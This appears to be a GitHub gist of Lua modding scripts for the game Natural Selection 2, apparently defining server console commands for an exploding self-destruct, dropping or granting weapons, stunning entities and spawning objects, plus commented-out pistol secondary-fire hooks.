StartSoundEffectOnEntity(Sentry.kConfusedSound, player, 3) | |
StartSoundEffectOnEntity(Sentry.kConfusedSound, player, 2) | |
self:TriggerEffects('mac_weld') | |
-- player:TriggerEffects("mine_spawn") | |
self.xenosound = Server.CreateEntity(SoundEffect.kMapName) | |
self.xenosound:SetAsset(kXenocideSoundName) | |
self.xenosound:SetVolume(5) | |
self.xenosound:SetParent(player) | |
self.xenosound:Start() | |
end, self, player) | |
end | |
function Axe:OnUpdateWeapon(player) | |
_SD.Call("Axe.OnUpdateWeapon", function(self, player) | |
if player.boomTime then | |
if player:GetIsAlive() then | |
if Shared.GetTime() > player.boomWarnTime then | |
player.boomWarnTime = Shared.GetTime()+warnInterval | |
StartSoundEffectOnEntity(Sentry.kConfusedSound, player, 2) | |
self:TriggerEffects('mac_weld') | |
self:TriggerEffects('mac_weld') | |
end | |
if Shared.GetTime() > player.boomTime then | |
player.boomTime = nil | |
if self.xenosound ~= nil then | |
self.xenosound:Stop() | |
self.xenosound = nil | |
end | |
for j, effect in ipairs(effects) do | |
for i = 1, effect.count do | |
if effect[2] then | |
effect[2].effecthostcoords = Coords.GetTranslation(player:GetOrigin()) | |
effect[2][kEffectHostCoords] = Coords.GetTranslation(player:GetOrigin()) | |
end | |
player:TriggerEffects(unpack(effect)) | |
end | |
end | |
local hitEntities = GetEntitiesWithMixinWithinRange("Live", player:GetOrigin(), radius) | |
--_D("boom got "..tostring(#hitEntities)) | |
function self:GetDeathIconIndex() return kDeathMessageIcon.Xenocide end | |
local damage = kDamage | |
local upgradeLevel = 1 | |
if player.GetWeaponUpgradeLevel then | |
upgradeLevel = math.max(0, player:GetWeaponUpgradeLevel() - 1) | |
end | |
RadiusDamage( | |
hitEntities, player:GetOrigin(), | |
radius, damage+upgradeLevel*kExtraDamagePerLevel, | |
self | |
) | |
CreateExplosionDecals(player) | |
TriggerCameraShake(player, 0.2, 0.60, radius) | |
player:SetBypassRagdoll(true) | |
player:Kill() | |
for j, effect in ipairs(effects) do | |
for i = 1, effect.count do | |
if effect[2] then | |
effect[2].effecthostcoords = Coords.GetTranslation(player:GetOrigin()) | |
effect[2][kEffectHostCoords] = Coords.GetTranslation(player:GetOrigin()) | |
end | |
player:TriggerEffects(unpack(effect)) | |
end | |
end | |
--self:GetTeam():ReplaceRespawnPlayer(self, nil, nil) | |
end | |
else | |
player.boomTime = nil | |
if self.xenosound ~= nil then | |
self.xenosound:Stop() | |
self.xenosound = nil | |
end | |
end | |
end | |
end, self, player) | |
end | |
end | |
_D(doboom) | |
--doboom() | |
if false then | |
local kXenocideSoundName = PrecacheAsset("sound/NS2.fev/alien/common/xenocide_start") | |
_SDcmd("boom", function(client, ...) | |
local damageStr = ... | |
local damage = tonumber(damageStr) or 110 | |
local duration = 2.0 | |
local player = client:GetControllingPlayer() | |
if player.ApplyCatPack then | |
player:ApplyCatPack() | |
end | |
local boomTime = Shared.GetTime()+duration | |
local xenosound = Server.CreateEntity(SoundEffect.kMapName) | |
xenosound:SetAsset(kXenocideSoundName) | |
xenosound:SetParent(player) | |
xenosound:Start() | |
local oldOnProcessMove = player.OnProcessMove | |
function player.OnProcessMove(...) | |
_SD.Call("boomtime", function(self, ...) | |
oldOnProcessMove(self, ...) | |
--if math.random() < 0.05 then _D(boomTime) end | |
if boomTime and Shared.GetTime() > boomTime then | |
boomTime = nil | |
if xenosound ~= nil then | |
xenosound:Stop() | |
xenosound = nil | |
end | |
if self:GetIsAlive() then | |
self:TriggerEffects("burn_bomb") | |
self:TriggerEffects("xenocide") | |
self:TriggerEffects("burn_bomb") | |
self:TriggerEffects("xenocide") | |
self:TriggerEffects("burn_bomb") | |
self:TriggerEffects("xenocide") | |
self:TriggerEffects("burn_bomb") | |
self:TriggerEffects("xenocide") | |
local weaponList = self:GetHUDOrderedWeaponList() | |
local weapon = weaponList[#weaponList] | |
local hitEntities = GetEntitiesWithMixinWithinRange("Live", self:GetOrigin(), 10) | |
_D("boom got "..tostring(#hitEntities)) | |
RadiusDamage(hitEntities, self:GetOrigin(), 20, damage, weapon) | |
CreateExplosionDecals(self) | |
TriggerCameraShake(self, 0.1, 0.60, 20) | |
self:SetBypassRagdoll(true) | |
self:Kill() | |
self:TriggerEffects("burn_bomb") | |
self:TriggerEffects("xenocide") | |
self:TriggerEffects("burn_bomb") | |
self:TriggerEffects("xenocide") | |
self:TriggerEffects("burn_bomb") | |
self:TriggerEffects("xenocide") | |
self:TriggerEffects("burn_bomb") | |
self:TriggerEffects("xenocide") | |
self:GetTeam():ReplaceRespawnPlayer(self, nil, nil) | |
player.OnProcessMove = oldOnProcessMove | |
end | |
end | |
end, ...) | |
end | |
end) | |
end | |
function make(classname, pos, parent, team) | |
classname = classname or "Clog" | |
pos = pos or (parent and parent:GetOrigin()) or _P:GetOrigin()+Vector(1,1,1) | |
if not pos then return end | |
team = team or ({kAlienTeamType, kMarineTeamType})[math.random(1,2)] | |
local ent = CreateEntity(classname, pos, team) | |
if parent then ent:SetParent(parent) end | |
return ent | |
end | |
_SDcmd("dropall", function(client, ...) | |
local player = client:GetControllingPlayer() | |
local weaponList = player:GetHUDOrderedWeaponList() | |
for w = 1, #weaponList do | |
local weapon = weaponList[w] | |
player:RemoveWeapon(weapon) | |
weapon:Dropped(player) | |
DestroyEntity(weapon) | |
end | |
end) | |
_SDcmd("gimme", function(client, ...) | |
local itemName = ... | |
local player = client:GetControllingPlayer() | |
player:GiveItem(itemName) | |
end) | |
_SDcmd("stunbomb", function(client, ...) | |
local player = client:GetControllingPlayer() | |
for _, stunnable in ipairs(GetEntitiesWithMixin("Stun")) do | |
stunnable:SetStun(1) | |
end | |
end) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if true then return end | |
function Pistol:GetHasSecondary(ply) return true end | |
function Pistol:OnSecondaryAttack(ply) self.altMode = not self.altMode end | |
InitMixin(_P:GetWeapons()[4]:GetClassName()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--[[ | |
_G.sp_hookVersion = (_G.sp_hookVersion or 0)+1 | |
local hookVersion = _G.sp_hookVersion | |
Shared.RegisterNetworkMessage("SP_SetStatus", { | |
pistol = "entityid", | |
enabled = "boolean", | |
}) | |
_G.orig_Pistol_GetHasSecondary = _G.orig_Pistol_GetHasSecondary or Pistol.GetHasSecondary | |
function Pistol:GetHasSecondary(ply) | |
local ret = orig_Pistol_GetHasSecondary(self, ply) | |
_SD.Call("Pistol.GetHasSecondary", function(self, ply) | |
if hookVersion ~= _G.sp_hookVersion then return end | |
if _G.sp_enabled then | |
ret = true | |
end | |
end, self, ply) | |
return ret | |
end | |
_G.orig_Pistol_OnSecondaryAttack = _G.orig_Pistol_OnSecondaryAttack or Pistol.OnSecondaryAttack | |
function Pistol:OnSecondaryAttack(ply) | |
_SD.Call("Pistol.OnSecondaryAttack", function(self, ply) | |
self.isSPEnabled = enabled and not self.isSPEnabled | |
Server.SendNetworkMessage(ply, " | |
end, self, ply) | |
end | |
_G.orig_Pistol_OnUpdateWeapon = _G.orig_Pistol_OnUpdateWeapon or Pistol.OnUpdateWeapon | |
function Pistol:OnUpdateWeapon(ply) | |
local ret = orig_Pistol_OnUpdateWeapon(self, ply) | |
_SD.Call("Pistol.OnUpdateWeapon", function(self, ply) | |
if hookVersion ~= _G.sp_hookVersion then return end | |
if not self.isSPEnabled then | |
return | |
end | |
if not _G.sp_enabled then | |
self.isSPEnabled = false | |
return | |
end | |
end, self, ply) | |
return ret | |
end | |
]] |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
test